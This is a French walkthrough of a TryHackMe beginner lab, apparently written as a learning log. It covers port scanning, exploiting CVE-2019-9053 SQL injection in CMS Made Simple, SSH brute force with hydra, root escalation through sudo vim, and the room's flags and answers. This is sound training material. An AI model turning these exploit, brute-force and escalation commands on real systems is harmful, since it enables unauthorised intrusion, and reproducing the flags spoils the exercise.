Try Hack Me Walkthrough - EasyCTF

  • Machine ciblée : [ EasyCTF](https://tryhackme.com/room/ EasyCTF).

  • Répertoire : /home/kali/ EasyCTF

  • Temps passé dessus : 2h30

Changelog du template

  • Version 1.0 - Sep. 2022 : création du template de base pour HackTheBox

  • Version 1.1 - Oct. 2022 : Rajout des scan nmap et des commandes de base

  • Version 1.2 - Nov. 2022 : Rajout des redirection pour éviter les retours d’erreur et du domaine pour être compliant avec TryHackMe

  • Version 1.3 - Nov. 2022 : Ajout du scan UDP + de l’export vers searchsploit

  • Version 1.4 - Dec. 2022 : Changement de l’export vers searchsploit pour gagner du temps + rajout des scripts vuln sur le full pour confirmer.

Phase 1 : Reconnaissance

┌──(kali㉿kali)-[~]
└─$
name="EasyCTF"
repository="/home/kali/$name"
ip="10.10.73.120"
domain='thm'
cd $repository 2&>/dev/null || mkdir $repository && cd $repository
grep "$ip $name ${name}.${domain}" /etc/hosts  >/dev/null || echo "$ip $name ${name}.${domain}" | sudo tee -a /etc/hosts

nmap  -Pn -A -T5 --top-port 1000 -oN $repository/txt -oX $repository/sploitable $ip
searchsploit --nmap $repository/sploitable
nmap  -Pn -A -T5 -p - --script vuln -oN $repository/full -oX $repository/fullsploitable $ip
sudo nmap  -Pn -A -T5 -sU -p - -oN $repository/udp -oX $repository/udploitable $ip
searchsploit --nmap $repository/udploitable

Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-20 10:54 CET
Nmap scan report for EasyCTF (10.10.73.120)
Host is up (0.15s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT     STATE  SERVICE VERSION
21/tcp   closed ftp
80/tcp   closed http
2222/tcp open   ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 294269149ecad917988c27723acda923 (RSA)
|   256 9bd165075108006198de95ed3ae3811c (ECDSA)
|_  256 12651b61cf4de575fef4e8d46e102af6 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

N.B : Alors ce scan m’a bien pertubé. Il montre le ftp et le http closed … Alors que ce n’est pas le cas. Je ne sais d’où ça sort, heureusement que je chaîne tout le temps un second scan complet, qui lui me les as montrer comme actifs.

21/tcp   open  ftp     vsftpd 3.0.3
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))

Bon, comme bien souvent, on trouve un site web et un ssh; mais cette fois, on a aussi du ftp. Intéressant.

La piste du web

Par ici, on va commencer à fouiller la partie web :

┌──(kali㉿kali)-[~/ EasyCTF]
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://$name
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://EasyCTF
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.3
[+] Timeout:                 10s
===============================================================
2022/12/20 11:13:38 Starting gobuster in directory enumeration mode
===============================================================
/simple               (Status: 301) [Size: 303] [--> http://easyctf/simple/]

En allant sur /simple, on se rends compte qu’il s’agit d’un autre site web. Celui-ci est fait avec un CMS Made Simple 2.2.8. On peut lancer une seconde énumération au cas où ou alors regarder les failles associées :

┌──(kali㉿kali)-[~/ EasyCTF]
└─$ searchsploit CMS Made Simple 2.2.8
----------------------------------------- ---------------------------------
 Exploit Title                           |  Path
----------------------------------------- ---------------------------------
CMS Made Simple < 2.2.10 - SQL Injection | php/webapps/46635.py
----------------------------------------- ---------------------------------
Shellcodes: No Results

Il s’agit donc de la CVE CVE-2019-9053 qui abuse d’une page nommée moduleinterface.php et qui fait de la SQL injection basée sur un retour de temps. Si ça match, t’attends … Donc faut pas mettre un temps trop long non plus, mais assez pour que le script se rende comptes qu’il a juste. Petit moment un peu chiant, le script est normalement fait pour du python2. J’ai du pas mal le débuger pour que ça fonctionne : en python2, il nous manque la dépendance termcolor. En python3, certains fichiers ont changés. J’ai commencé à regarder un writeup pour voir comment le gars a fait en même temps que je dépannais les lignes qui n’allaient pas. C’est principalement la fonction print qui prends maintenant des parenthèses. Mais le writeup m’a amené un outil intéressant : python2to3

┌──(kali㉿kali)-[~/ EasyCTF]
└─$ 2to3-2.7 /usr/share/exploitdb/exploits/php/webapps/46635.py                          
RefactoringTool: Skipping optional fixer: buffer
RefactoringTool: Skipping optional fixer: idioms
RefactoringTool: Skipping optional fixer: set_literal
RefactoringTool: Skipping optional fixer: ws_comma
RefactoringTool: Refactored /usr/share/exploitdb/exploits/php/webapps/46635.py
--- /usr/share/exploitdb/exploits/php/webapps/46635.py  (original)
+++ /usr/share/exploitdb/exploits/php/webapps/46635.py  (refactored)
@@ -22,10 +22,10 @@

 options, args = parser.parse_args()
fi not options.url:
-    print "[+] Specify an url target"
-    print "[+] Example usage (no cracking password): exploit.py -u http://target-uri"
-    print "[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist"
-    print "[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based."
+    print("[+] Specify an url target")
+    print("[+] Example usage (no cracking password): exploit.py -u http://target-uri")
+    print("[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist")
+    print("[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based.")
     exit()

 url_vuln = options.url + '/moduleinterface.php?mact=News,m1_,default,0'
@@ -60,13 +60,13 @@

 def beautify_print_try(value):
     global output
-    print "\033c"
+    print("\033c")
     cprint(output,'green', attrs=['bold'])
     cprint('[*] Try: ' + value, 'red', attrs=['bold'])

 def beautify_print():
     global output
-    print "\033c"
+    print("\033c")
     cprint(output,'green', attrs=['bold'])

 def dump_salt():
@@ -180,7 +180,7 @@
 dump_password()

fi options.cracking:
-    print colored("[*] Now try to crack password")
+    print(colored("[*] Now try to crack password"))
     crack_password()

 beautify_print()
RefactoringTool: Files that need to be modified:
RefactoringTool: /usr/share/exploitdb/exploits/php/webapps/46635.py

On a donc la liste des modifications à faire. Simple. Maintenant, on peut le lance en python3. N.B J’ai tenté de le lancer comme un âne sur l’url d’admin. Pas nécessaire. N.B2 J’ai modifié dans le script la valeur du temps à 15 au pif. 3 ou 4, ça aurait été suffisant. N.B3 J’ai vu après l’option -c, mais elle marche pas alors osef. N.B4 J’ai modifié au dessus les if par des fi, sinon l’ide déconne.

┌──(kali㉿kali)-[~/ EasyCTF]
└─$ python3 ./46635.py -u http://easyctf.thm/simple/ -w /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt -c
[+] Salt for password found: 1dac0d92e9fa6bb2
[+] Username found: mitch
[+] Email found: admin@admin.com
[+] Password found: 0c01f4468bd75d7a84c7eb73846e8d96
Traceback (most recent call last):
  File "/home/kali/ EasyCTF/./46635.py", line 180, in <module>
    crack_password()
  File "/home/kali/ EasyCTF/./46635.py", line 52, in crack_password
    if hashlib.md5(str(salt) + line).hexdigest() == password:
TypeError: Strings must be encoded before hashing

On trouve donc un mot de passe et un compte utilisateur. Seulement, ce mot de passe semble chiffré. À regarder la fonction de reverse, il s’agit de md5 qui utilise le salt puis le code. On peut donc tenter de se faire un fichier rockyou avec le salt avant puis hashé chaque ligne et la comparer … Mais j’ai pas réussi à le maquetter. De plus, j’ai fait plus simple, j’suis parti sur internet. On a donc notre mot de passe : secret.

Autre piste : le ftp+ssh

Il y a également un service ftp. Voyons voir ce qu’il y a à voir.

┌──(kali㉿kali)-[~/ EasyCTF]
└─$ ftp $ip
Connected to 10.10.236.249.
220 (vsFTPd 3.0.3)
Name (10.10.236.249:kali): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
drwxr-xr-x    2 ftp      ftp          4096 Aug 17  2019 pub
ftp> cd pub
250 Directory successfully changed.
ftp> get ForMitch.txt
ftp> exit
goodbye
┌──(kali㉿kali)-[~/ EasyCTF]
└─$ cat ForMitch.txt                                       
Dammit man... you re the worst dev i ve seen. You set the same pass f0r the system user, and the password is so weak... i cracked it in seconds. Gosh... what a mess!

Donc du coup, mitch a un compte et a un mot de passe tout pourri … Et si on lâché le Kraken sur lui ?

┌──(kali㉿kali)-[~/ EasyCTF]
└─$ hydra -P /usr/share/wordlists/rockyou.txt -l mitch ssh://easyctf.thm:2222

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-12-20 13:17:19
[DATA] attacking ssh://easyctf.thm:2222/
[2222][ssh] host: easyctf.thm   login: mitch   password: secret
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-12-20 13:17:28

Mauvais monstre mythologique, même démarche. On récupère le mot de passe ssh; et l’on peut se connecter.

Revenons à nos moutons : passons root.

Bon, on a trouvé le mot de passe par deux moyens, il est peut-être temps de devenir root ?

┌──(kali㉿kali)-[~]
└─$ ssh mitch@easyctf -p 2222                        
The authenticity of host '[easyctf]:2222 ([10.10.236.249]:2222)' can't be established.
ED25519 key fingerprint is SHA256:iq4f0XcnA5nnPNAufEqOpvTbO8dOJPcHGgmeABEdQ5g.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[easyctf]:2222' (ED25519) to the list of known hosts.
mitch@easyctf's password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-58-generic i686)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.

Last login: Mon Aug 19 18:13:41 2019 from 192.168.0.190
$ id
uid=1001(mitch) gid=1001(mitch) groups=1001(mitch)
$ cat user.txt  
G00d j0b, keep up!
$ sudo -l
User mitch may run the following commands on Machine:
    (root) NOPASSWD: /usr/bin/vim
$

Ma petite privesc préférée : le vim en nopasswd+sudo autorisé … Bah c’est fini hein :)

$ sudo vim
:!bash
root@Machine:/root# cat /root/root.txt
W3ll d0n3. You made it!

Question 1 : How many services are running under port 1000?

2

Question 2 : What is running on the higher port?

ssh

Question 3 : What’s the CVE you’re using against the application?

CVE-2019-9053

Question 4 : To what kind of vulnerability is the application vulnerable?

SQLi

Question 5 : What’s the password?

secret

Question 6 : Where can you login with the details obtained?

ssh

Question 7 : What’s the user flag?

G00d j0b, keep up!

Question 8 : Is there any other user in the home directory? What’s its name?

J’ai pas regardé …

Last login: Mon Aug 19 18:13:41 2019 from 192.168.0.190
$ ls ../
mitch  sunbath

sunbath

Question 9 : What can you leverage to spawn a privileged shell?

vim

Question 10 : What’s the root flag?

W3ll d0n3. You made it!

Récapitulatif

J’ai particulièrement aimé la fausse piste du web avec la page par défaut d’apache. J’aurai pu me faire avoir facilement. Les deux chemins pour devenir utilisateurs sont intéressants. J’ai été pas mal piégé par le premier scan nmap qui m’a remonté les ports en fermés. Même si c’est le cas, il vaut mieux aller y faire un tour au cas où. En plus, les questions m’ont orientés sur une faille ssh (truc chelou) et je n’ai pas réussi à comprendre qu’il fallait juste exploiter la SQLi.

A retenir

  • Toujours revérifier ce qui sort du Nmap

  • Mettre à jour ses applications.